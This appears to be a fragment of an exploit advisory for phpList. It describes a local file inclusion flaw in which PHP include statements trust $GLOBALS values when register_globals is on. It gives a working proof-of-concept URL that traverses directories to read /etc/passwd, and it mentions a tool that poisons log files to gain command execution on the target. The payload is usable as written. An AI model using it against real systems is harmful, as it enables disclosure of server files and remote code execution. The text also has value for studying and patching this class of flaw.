require_once dirname(__FILE__).'/admin/'.$GLOBALS["database_module"];
require_once dirname(__FILE__)."/texts/english.inc";
include_once dirname(__FILE__)."/texts/".$GLOBALS["language_module"];
...

a lack in the code:
$database_module and $language_module vars are properly initialized in
config/config.php, but... when code would use them to include files
they are called with their GLOBALS corresponding vars.
So, if register_globals = On in php.ini you can include arbitrary file from
local resources, poc:

http://[target]/[path_to_phplist]/lists/index.php?GLOBALS[developer_email]=1&GLOBALS[database_module]=../../../../../../etc/passwd

also you can turn on all php messages and warnings until language_module is
called, as you can see.
This tool inject some code in log files and try to include them to
launch commands on target machine
